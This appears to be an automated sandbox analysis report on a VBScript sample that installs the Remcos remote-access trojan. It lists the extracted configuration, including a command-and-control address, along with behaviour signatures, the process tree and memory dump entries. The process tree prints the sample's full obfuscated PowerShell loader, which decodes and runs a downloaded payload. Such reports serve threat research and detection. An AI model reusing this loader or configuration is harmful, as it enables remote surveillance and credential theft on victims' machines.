Analysis
- max time kernel
149s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
22/06/2026, 08:49
General
- Target _62f40f7903dbd37df23d07136fa0b87e6f08be9f7955fc4818b12622ddd35bb9.vbs
- Size 94KB
- Sample260622-krf49sa16v
- SHA256 62f40f7903dbd37df23d07136fa0b87e6f08be9f7955fc4818b12622ddd35bb9
Malware Config
Extracted
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remcos
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7.2.5 Pro
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RemoteHost
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102.220.160.121:2404
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-CTXA1Y
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_62f40f7903dbd37df23d07136fa0b87e6f08be9f7955fc4818b12622ddd35bb9.vbs"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Ping.exePing Allum_8888.8888.8888.657e2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'indfljne' 'obley' 'rustkammerets';function billygtens ($hjemmehjlper0,$bulldozeren) {$astragelers=shadiness(@(153,214,209,216,216,226,202,221,216,211,227,208,231,149,162,208,223,226,221,157,137,215,227,211,223,207,228,223,218,224,204,225,148)) ;Nonunison ($astragelers)}function shadiness ($navbremsernes) { $auksinai155=-45235+45235;do {$navbremsernes[$auksinai155] = $navbremsernes[$auksinai155] - $roadman[$auksinai155%7];$novellette218+=[char]$navbremsernes[$auksinai155];$auksinai155++} while ($navbremsernes[$auksinai155])$novellette218}function Nonunison ($smalles) {&($millefiori) $smalles}Function Snuptagenes ($navbremsernes,$gleewoman=0){$paratrimma=shadiness(@(153,225,202,229,212,229,217,175,225,208,222,222,214,208,225,215,213,220,208,231,162,208,177,214,225,225,218,215,233,203,161,173,177,231,212,226,176,200,230,208,171,153,200,226,217,220,217,220,141,153,220,200,233,205,231,202,226,225,204,229,217,218,216,158));Nonunison ($paratrimma);For($trapeziuses=0; $siksaklinier[$trapeziuses] -ne $stereomicrometer; $trapeziuses++){$siksaklinier[$trapeziuses] = billygtens $siksaklinier[$trapeziuses] $roadman[$trapeziuses%7]}$syndsbekendelsen=shadiness(@(153,213,211,226,205,214,209,175,225,220,213,222,233,198,227,226,208,233,208,233,216,178,155,209,226,212,227,133,208,209,207,212,221,208,194,210,146,218,220,214,232,198,224,218,208,225,212,218,215));Nonunison ($syndsbekendelsen);if ($gleewoman) { Nonunison $substantivets}else {;$substantivets}}$roadman=@(117,110,103,115,107,117,101);$millefiori=shadiness @(190,179,191);$ethonomics='\Cervicapra.sig';$tuners=Snuptagenes 'QEBXU0MiDBsKCAQYVSshTlZDRUVeVTkOHV1BXlUWUUdQVRcDVFZGW1tVXE4gFggeClpcV0JbRVRFX0c1AgcAEwEfXFpAVVte';$nousel=Snuptagenes 'HRoTAxhPSloKFRodEEsSAQgUBxBLFgEKXB4WWhAWFxwZAVgRARAdBxoEEUgOF1ZENj1fCBohOj9MNw4qI0URJx4wBSkBXTwMNDIfFBMSXjA=';$otiatry=Snuptagenes 'Sw==';Snuptagenes 'UQkLHAkUCU8MFRYdHAYcHg4HAhFYUQsJBVEUFQUKBgcKXkEQGg8cBRoIHA0U' 1;Snuptagenes 'UQkLHAkUCU8PCQcEGwoYDxQHAhZYUQAIBhgQCVsdFx8CAU1RARMaCgEXDEc=' 1;Snuptagenes 'LiACB0UmAAcYDhAOJQocABM+ChsEEgsVLlFPNhANEgECARwlHAgHBBYKGVNUQ1xH' 1;$nousel=$antonomastic[0];$neddykninger=(Snuptagenes 'UQkLHAkUCU8ICxkOAQobHAgeChsABwACTiUQElghBRkOFhFVIAIHRSIAFy0LGg4bEQ==');Nonunison ($neddykninger);Snuptagenes 'UQgLGQ4BChscCB4KGwAHAAJdIxAEEQsVADAuKxAaSTsfARUnCxYGDgYRPQsGFw4HOEFeOk5PARAbCxUA' 1;$raffishly=Snuptagenes 'MQEQHQcaBBEoDh8O';$epitomator=Snuptagenes 'UQgLGQ4BChscCB4KGwAHAAJdTwcEEwgOAAMZHFsnCQUEHgBdSgkcHgYAGUJDBwoHAAcHCRQOBxZc';$tareringers=$brevicipitid;Snuptagenes 'UQkLHAkUCU8dCB8YHgoZCgkaBRIABwACTkMhAAYaSiMKAQ1VShMSGRAXHAAAFhkGTA==' 1;while (!$solskoldningerne) {Snuptagenes 'UQkLHAkUCU8vChEKBhYUCgIYHRQXAQsVTk8BFwAL' 1;Nonunison $epitomator;Snuptagenes 'JgICFhtdUVw=' 1;Snuptagenes 'UQkLHAkUCU8dCB8YHgoZCgkaBRIABwACTkMhAAYaSiMKAQ1VShMSGRAXHAAAFhkGTA==' 1 ;Snuptagenes 'UQkLHAkUCU8PAR8KGwIBU0MUBxoHFAJdGgYFBAcaDhEHDE5eS0MSBQEKGwEKEhgBDBZABBweGxE=' 1;$nousel=$antonomastic[$aflangt]}$mirky=152731;$militrjunta=20548;Snuptagenes 'UQkLHAkUCU8bCRcOBwMQCwMaBRJUR15aFAhVQQEPFRYZHAsSCxUA' 1;Snuptagenes 'UQkLHAkUCU8+FRwMBwQYHVooKBoLAwsVBzZPXzMcCB4pFBYQWFMgHwcMGwlPVx4bARAcARYOEQwbCVZBW1w=' 1;Snuptagenes 'UQkLHAkUCU8GCAEFFwkGCxUWBQZSQ1M8Jw4NEVsrCRAEEQwbCTpJUTQ2NicuXSwQESYaFRoFEk1RPhUcDAcEGB1O' 1;Snuptagenes 'UQkLHAkUCU8MCxgYBRcAGhMWGRsABlNDGwQHCxcCFBYZEAsGWVFdGAAHBhoVGgUSTVEDDgEADElRAw4fAgEXHxsJBwpc' 1;Nonunison $blksprutternes;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'indfljne' 'obley' 'rustkammerets';function billygtens ($hjemmehjlper0,$bulldozeren) {$astragelers=shadiness(@(153,214,209,216,216,226,202,221,216,211,227,208,231,149,162,208,223,226,221,157,137,215,227,211,223,207,228,223,218,224,204,225,148)) ;Nonunison ($astragelers)}function shadiness ($navbremsernes) { $auksinai155=-45235+45235;do {$navbremsernes[$auksinai155] = $navbremsernes[$auksinai155] - $roadman[$auksinai155%7];$novellette218+=[char]$navbremsernes[$auksinai155];$auksinai155++} while ($navbremsernes[$auksinai155])$novellette218}function Nonunison ($smalles) {&($millefiori) $smalles}Function Snuptagenes ($navbremsernes,$gleewoman=0){$paratrimma=shadiness(@(153,225,202,229,212,229,217,175,225,208,222,222,214,208,225,215,213,220,208,231,162,208,177,214,225,225,218,215,233,203,161,173,177,231,212,226,176,200,230,208,171,153,200,226,217,220,217,220,141,153,220,200,233,205,231,202,226,225,204,229,217,218,216,158));Nonunison ($paratrimma);For($trapeziuses=0; $siksaklinier[$trapeziuses] -ne $stereomicrometer; $trapeziuses++){$siksaklinier[$trapeziuses] = billygtens $siksaklinier[$trapeziuses] $roadman[$trapeziuses%7]}$syndsbekendelsen=shadiness(@(153,213,211,226,205,214,209,175,225,220,213,222,233,198,227,226,208,233,208,233,216,178,155,209,226,212,227,133,208,209,207,212,221,208,194,210,146,218,220,214,232,198,224,218,208,225,212,218,215));Nonunison ($syndsbekendelsen);if ($gleewoman) { Nonunison $substantivets}else {;$substantivets}}$roadman=@(117,110,103,115,107,117,101);$millefiori=shadiness @(190,179,191);$ethonomics='\Cervicapra.sig';$tuners=Snuptagenes 'QEBXU0MiDBsKCAQYVSshTlZDRUVeVTkOHV1BXlUWUUdQVRcDVFZGW1tVXE4gFggeClpcV0JbRVRFX0c1AgcAEwEfXFpAVVte';$nousel=Snuptagenes 'HRoTAxhPSloKFRodEEsSAQgUBxBLFgEKXB4WWhAWFxwZAVgRARAdBxoEEUgOF1ZENj1fCBohOj9MNw4qI0URJx4wBSkBXTwMNDIfFBMSXjA=';$otiatry=Snuptagenes 'Sw==';Snuptagenes 'UQkLHAkUCU8MFRYdHAYcHg4HAhFYUQsJBVEUFQUKBgcKXkEQGg8cBRoIHA0U' 1;Snuptagenes 'UQkLHAkUCU8PCQcEGwoYDxQHAhZYUQAIBhgQCVsdFx8CAU1RARMaCgEXDEc=' 1;Snuptagenes 'LiACB0UmAAcYDhAOJQocABM+ChsEEgsVLlFPNhANEgECARwlHAgHBBYKGVNUQ1xH' 1;$nousel=$antonomastic[0];$neddykninger=(Snuptagenes 'UQkLHAkUCU8ICxkOAQobHAgeChsABwACTiUQElghBRkOFhFVIAIHRSIAFy0LGg4bEQ==');Nonunison ($neddykninger);Snuptagenes 'UQgLGQ4BChscCB4KGwAHAAJdIxAEEQsVADAuKxAaSTsfARUnCxYGDgYRPQsGFw4HOEFeOk5PARAbCxUA' 1;$raffishly=Snuptagenes 'MQEQHQcaBBEoDh8O';$epitomator=Snuptagenes 'UQgLGQ4BChscCB4KGwAHAAJdTwcEEwgOAAMZHFsnCQUEHgBdSgkcHgYAGUJDBwoHAAcHCRQOBxZc';$tareringers=$brevicipitid;Snuptagenes 'UQkLHAkUCU8dCB8YHgoZCgkaBRIABwACTkMhAAYaSiMKAQ1VShMSGRAXHAAAFhkGTA==' 1;while (!$solskoldningerne) {Snuptagenes 'UQkLHAkUCU8vChEKBhYUCgIYHRQXAQsVTk8BFwAL' 1;Nonunison $epitomator;Snuptagenes 'JgICFhtdUVw=' 1;Snuptagenes 'UQkLHAkUCU8dCB8YHgoZCgkaBRIABwACTkMhAAYaSiMKAQ1VShMSGRAXHAAAFhkGTA==' 1 ;Snuptagenes 'UQkLHAkUCU8PAR8KGwIBU0MUBxoHFAJdGgYFBAcaDhEHDE5eS0MSBQEKGwEKEhgBDBZABBweGxE=' 1;$nousel=$antonomastic[$aflangt]}$mirky=152731;$militrjunta=20548;Snuptagenes 'UQkLHAkUCU8bCRcOBwMQCwMaBRJUR15aFAhVQQEPFRYZHAsSCxUA' 1;Snuptagenes 'UQkLHAkUCU8+FRwMBwQYHVooKBoLAwsVBzZPXzMcCB4pFBYQWFMgHwcMGwlPVx4bARAcARYOEQwbCVZBW1w=' 1;Snuptagenes 'UQkLHAkUCU8GCAEFFwkGCxUWBQZSQ1M8Jw4NEVsrCRAEEQwbCTpJUTQ2NicuXSwQESYaFRoFEk1RPhUcDAcEGB1O' 1;Snuptagenes 'UQkLHAkUCU8MCxgYBRcAGhMWGRsABlNDGwQHCxcCFBYZEAsGWVFdGAAHBhoVGgUSTVEDDgEADElRAw4fAgEXHxsJBwpc' 1;Nonunison $blksprutternes;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
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C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
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C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
Cervicapra.sig
memory/1816-13-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp
memory/1816-2-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp
memory/1816-6-0x00000184CF6E0000-0x00000184CF702000-memory.dmp
memory/1816-7-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp
memory/1816-8-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp
memory/1816-9-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp
memory/1816-10-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp
memory/1816-11-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp
memory/1816-12-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp
memory/1816-0-0x00007FFFD5D7F000-0x00007FFFD5D80000-memory.dmp
memory/1816-14-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp
memory/1816-18-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp
memory/1816-1-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp
memory/1816-22-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp
memory/1816-21-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp
memory/1816-5-0x00007FFFD5BF0000-0x00007FFFD6594000-memory.dmp
memory/3824-58-0x000000001E9D0000-0x000000001EAC7000-memory.dmp
memory/3824-62-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/3824-68-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/3824-67-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/3824-66-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/3824-65-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/3824-64-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/3824-63-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/3824-61-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/3824-60-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/3824-59-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/3824-57-0x000000001E9D0000-0x000000001EAC7000-memory.dmp
memory/3824-54-0x000000001E9D0000-0x000000001EAC7000-memory.dmp
memory/3824-49-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/3824-47-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/5112-20-0x00000000058A0000-0x0000000005EEA000-memory.dmp
memory/5112-28-0x0000000005EF0000-0x000000000624B000-memory.dmp
memory/5112-36-0x0000000008640000-0x0000000008BFA000-memory.dmp
memory/5112-31-0x00000000065A0000-0x00000000065EC000-memory.dmp
memory/5112-34-0x0000000007630000-0x00000000076C6000-memory.dmp
memory/5112-35-0x00000000075D0000-0x00000000075F2000-memory.dmp
memory/5112-33-0x00000000068C0000-0x00000000068DA000-memory.dmp
memory/5112-38-0x0000000008C00000-0x000000000D4FB000-memory.dmp
memory/5112-19-0x0000000002B70000-0x0000000002BA6000-memory.dmp
memory/5112-32-0x0000000007A00000-0x000000000807C000-memory.dmp
memory/5112-30-0x0000000006360000-0x000000000637E000-memory.dmp
memory/5112-23-0x00000000055B0000-0x00000000055D2000-memory.dmp
memory/5112-25-0x00000000056C0000-0x0000000005726000-memory.dmp
memory/5112-24-0x0000000005650000-0x00000000056B6000-memory.dmp